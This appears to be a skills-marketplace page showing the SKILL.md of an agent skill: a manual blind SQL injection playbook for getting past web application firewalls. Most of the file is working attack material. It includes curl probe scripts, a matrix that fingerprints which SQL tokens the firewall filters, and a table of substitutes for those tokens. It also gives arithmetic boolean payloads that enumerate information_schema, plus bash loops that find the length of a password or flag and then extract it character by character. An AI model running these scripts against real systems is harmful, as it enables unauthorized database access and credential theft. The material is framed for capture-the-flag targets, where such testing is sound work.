Skip to main content

blind-sqli

Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.

Ir a la instalación

Datos de origen

Repositorio
BitterSecurity/Decepticon
Última actividad en el origen
2 de junio de 2026 a las 17:44
Idioma detectado de SKILL.md
inglés
Estrellas
5565
Forks
1053

Opciones de instalación

De forma predeterminada está seleccionado el prompt que primero revisa el origen. Puedes cambiar a un comando directo o descargar una copia local.

Revisa los archivos de origen

Lee SKILL.md y los archivos complementarios que muestra SkillsMP antes de decidir si quieres instalarlo.

Mostrando SKILL.md

SKILL.md
Instrucciones de origen · Vista previa de solo lectura
name
blind-sqli
description
Blind SQL injection under hostile WAF — manual bypass playbook for when sqlmap fails because common tokens (SUBSTRING, IF, AND, WHERE, single quotes) are filtered. Covers token-fingerprinting probe loops, arithmetic-multiplication boolean evaluation, hex-encoded literals, and exponential-probe binary search. Loaded on top of sqli.md when the binary oracle exists but tampers can't pass the WAF.
metadata
{"subdomain":"web-exploitation","mitre_attack":"T1190","when_to_use":"blind sqli, blind sql injection, boolean-based sqli, sqlmap blocked, sqlmap waf, sqlmap tamper failed, sql waf bypass, ascii substring filtered, IF function filtered, AND filtered, single quote stripped, hex encoded payload, group_concat blocked, information_schema unauthorized, query parameter filter, character extraction, binary search payload"}
# Blind SQL Injection — Manual WAF Bypass Companion to `sqli.md`. **Load this only after** you have: 1. Confirmed a stable binary oracle (two distinct page states: "User exists" vs "No results", different content lengths, or different HTTP codes). 2. Confirmed sqlmap with `--tamper` cannot pass the WAF. If sqlmap returns clean dumps, stop and use it — this skill is more expensive in tokens and wall-clock. If both conditions hold, the goal is to hand-craft a payload that **substitutes** every filtered SQL token until each oracle probe returns a clean true/false signal, then extract the flag bit-by-bit with the smallest possible request count. ## Confirm the oracle first (≤2 minutes) The whole playbook collapses if your "true" and "false" responses aren't distinguishable. Reduce the response to a single grep-able token before any extraction: ```bash probe() { local label="$1"; local payload="$2" local resp resp=$(curl -s --max-time 8 -X POST "http://$TARGET/search.php" \ --data-urlencode "username=${payload}") echo "$resp" \ | grep -oE "User exists[^<]*|No results|some item is filtered|Error|Welcome" \ | head -1 } probe "true probe" "x\"||1=1#" # expect: User exists probe "false probe" "x\"||1=2#" # expect: No results probe "filter probe" "x\"||SLEEP(0)#" # expect: filtered (token banned) ``` A single ambiguous response means you do NOT have an oracle yet — re-do recon. Time-based oracles work too, but `bash`'s `time` resolution and HTTP jitter make a content oracle 5-10× more reliable. ## Step 1 — WAF token fingerprint (batched probe script) Test 10-15 candidate tokens in **one** script, log each as a labelled line. One script run beats 15 sequential `bash` calls (saves ~70% of the round-trip cost). ```bash cat > /tmp/probe.sh <<'EOF' #!/usr/bin/env bash set -u TARGET="${TARGET:?set TARGET=host:port}" ENDPOINT="${ENDPOINT:-/search.php}" PARAM="${PARAM:-username}" INJ="${INJ:-x\"||{PAYLOAD}#}" # outer template; {PAYLOAD} is replaced probe() { local label="$1"; local payload="$2" local body="${INJ/'{PAYLOAD}'/$payload}" local resp resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \ --data-urlencode "$PARAM=$body") local sig sig=$(echo "$resp" | grep -oE "User exists[^<]*|No results|filtered|some item[^<]*|Error" | head -1) printf "%-40s | %s\n" "$label" "${sig:-???}" } # === SQL token sniff matrix === probe "1=1 baseline true" "1=1" probe "1=2 baseline false" "1=2" probe "WHERE clause" "EXISTS(SELECT 1 FROM users WHERE 1=1)" probe "AND keyword" "1=1 AND 1=1" probe "&& operator" "1=1 && 1=1" probe "OR keyword" "1=0 OR 1=1" probe "|| operator" "1=0 || 1=1" probe "IF function" "IF(1=1,1,0)" probe "CASE WHEN" "(CASE WHEN 1=1 THEN 1 ELSE 0 END)" probe "SUBSTRING(str,1,1)" "SUBSTRING('abc',1,1)='a'" probe "MID(str,1,1)" "MID('abc',1,1)='a'" probe "ASCII(c)" "ASCII('a')=97" probe "ORD(c)" "ORD('a')=97" probe "GROUP_CONCAT()" "GROUP_CONCAT('a','b')='ab'" probe "single-quote 'a'" "'a'='a'" probe "double-quote \"a\"" "\"a\"=\"a\"" probe "hex 0x61" "0x61='a'" probe "arithmetic boolean" "(1=1)*(1=1)=1" EOF chmod +x /tmp/probe.sh TARGET=host.docker.internal:8080 /tmp/probe.sh | tee /tmp/probe.out ``` Every line that returns `???` (no matching signature) or `filtered` is a banned token. Every line that flips the oracle correctly (`User exists` for the true rows, `No results` for the false rows) is a usable primitive. Common WAF substitution map (the bench-tested replacements that have worked across multiple targets): | Filtered token | Substitute that survives | |---|---| | `SUBSTRING(s,i,n)` | `MID(s,i,n)` | | `IF(c,t,f)` | `(CASE WHEN c THEN t ELSE f END)` or arithmetic (see below) | | `AND` | `&&` | | `OR` | `\|\|` | | `WHERE` | `JOIN ... ON` subquery, or move predicate into `SUM((c1)*(c2))` | | `'literal'` | `0x6c6974657261` (hex) or `CHAR(108,105,116,...)` | | `GROUP_CONCAT(IF(c,t,0))` | `SUM((c)*ASCII(...))` per position | ## Step 2 — boolean evaluation without `IF`/`WHERE`/`AND` When the WAF strips `IF`, `AND`, `WHERE` together, the cleanest replacement is **arithmetic multiplication of booleans**. MySQL treats `(comparison)` as an integer in {0,1}, and `*` distributes as logical AND: ``` # AND → product (table_schema=0x637466) * (table_name=0x7573657273) * (column_name=0x70617373776f7264) # OR → sum > 0 ((column_name=0x...) + (column_name=0x...)) > 0 # IF(cond, A, B) → cond * A + (1 - cond) * B (cond) * ASCII_OF_A + (1 - (cond)) * ASCII_OF_B ``` Concrete payload that enumerates `information_schema.columns` without ever using `WHERE/IF/AND`: ```sql "||(SELECT(SUM((table_schema=0x637466)*(table_name=0x7573657273)*(column_name=0x70617373776f7264)))FROM(information_schema.columns))>0# ``` If the page returns "User exists" the predicate is true (column exists), "No results" → false. One probe per `(schema, table, column)` triple. ## Step 3 — hex every string literal you send Single and double quotes are usually filtered. Convert every literal to hex once at the top of your script, then never use bare strings inside the SQL payload: ```bash hex() { python3 -c "import sys; print('0x'+sys.argv[1].encode().hex())" "$1"; } SCHEMA_HEX=$(hex "ctf") # 0x637466 TABLE_HEX=$(hex "users") # 0x7573657273 COL_HEX=$(hex "password") # 0x70617373776f7264 ``` Reuse these in every payload. Saves you from re-checking which quote variant the WAF blocked this iteration. ## Step 4 — exponential-probe binary search for length Don't binary-search from 1..N — most targets have passwords/flags between 16 and 64 chars. Probe exponentially first, then refine: ```bash # Exponential bound: find the first power that flips false → true LEN_HEX="" for n in 1 2 4 8 16 32 64 128 256 512 1024; do payload="x\"||LENGTH(${EXTRACT_EXPR})>${n}#" resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \ --data-urlencode "$PARAM=$payload") if echo "$resp" | grep -q "User exists"; then LOW=$n else HIGH=$n; break fi done # Binary search in [LOW, HIGH] while [ $((HIGH - LOW)) -gt 1 ]; do MID=$(((LOW + HIGH) / 2)) payload="x\"||LENGTH(${EXTRACT_EXPR})>${MID}#" resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \ --data-urlencode "$PARAM=$payload") if echo "$resp" | grep -q "User exists"; then LOW=$MID; else HIGH=$MID; fi done echo "length=$HIGH" ``` Worst case 11 + ~10 = 21 requests for any password ≤1024 chars. Pure linear scan would be O(N). ## Step 5 — extract characters with one request per bit (or per char) Once length is known, the **shortest** extraction is per-character ASCII binary search (≤7 requests per char for printable ASCII). Use `MID()` and `ASCII()`: ```bash LEN=18 RESULT="" for i in $(seq 1 $LEN); do LO=32; HI=126 while [ $((HI - LO)) -gt 1 ]; do M=$(((LO + HI) / 2)) payload="x\"||ASCII(MID((${EXTRACT_EXPR}),${i},1))>${M}#" resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \ --data-urlencode "$PARAM=$payload") if echo "$resp" | grep -q "User exists"; then LO=$M; else HI=$M; fi done RESULT+=$(printf "\\$(printf '%03o' $HI)") echo "pos $i: $RESULT" done echo "extracted: $RESULT" ``` For a 30-char value that's ~210 requests serially. If the server tolerates concurrency, parallelize positions (NOT bit-bisection within a position — that requires serial state). 10 concurrent positions cuts wall-clock by ~10×. ## Step 6 — sanity gate before launching extraction Before you start a multi-hundred-request loop, **always confirm the EXTRACT_EXPR returns non-empty length on a known-good probe**. Otherwise you spend 5+ minutes extracting from an empty/wrong target. ```bash # Probe length once. If length is 0 or absurdly large (>4096), abort — your subquery is wrong. payload="x\"||LENGTH(${EXTRACT_EXPR})>0#" resp=$(curl -s --max-time 6 -X POST "http://$TARGET$ENDPOINT" \ --data-urlencode "$PARAM=$payload") echo "$resp" | grep -q "User exists" || { echo "EXTRACT_EXPR returned empty — fix your subquery before extracting" exit 1 } ``` ## Anti-patterns — don't do these - **Don't poll background sessions for `extract.py` without a progress signal**. If the script doesn't emit per-character logs, you cannot tell the difference between "still working" and "stuck on an empty result". Either log every position, or kill and restart in foreground. - **Don't reuse the same `bash` session for both interactive probe scripts and long extraction loops** — interactive prompts collide with background output and you'll burn `bash_kill` calls. Run extraction in a named session (`work`, `extract`, etc.) and keep `main` for ad-hoc probes. - **Don't enumerate `information_schema` blindly with `GROUP_CONCAT`** when `WHERE` is filtered — the unfiltered concat dumps every table/column in the database and you get a 100 KB blob of `0,0,0,...,users` because non-matching rows return 0. Use the arithmetic-multiplication predicate instead and check one cell at a time. - **Don't hex-encode the WAF token itself** to bypass — the WAF tokenizes after URL-decode, so `0x53454c454354` (hex SELECT) still matches. Hex helps for **string literals inside the query**, not for SQL keywords.
Ver en GitHub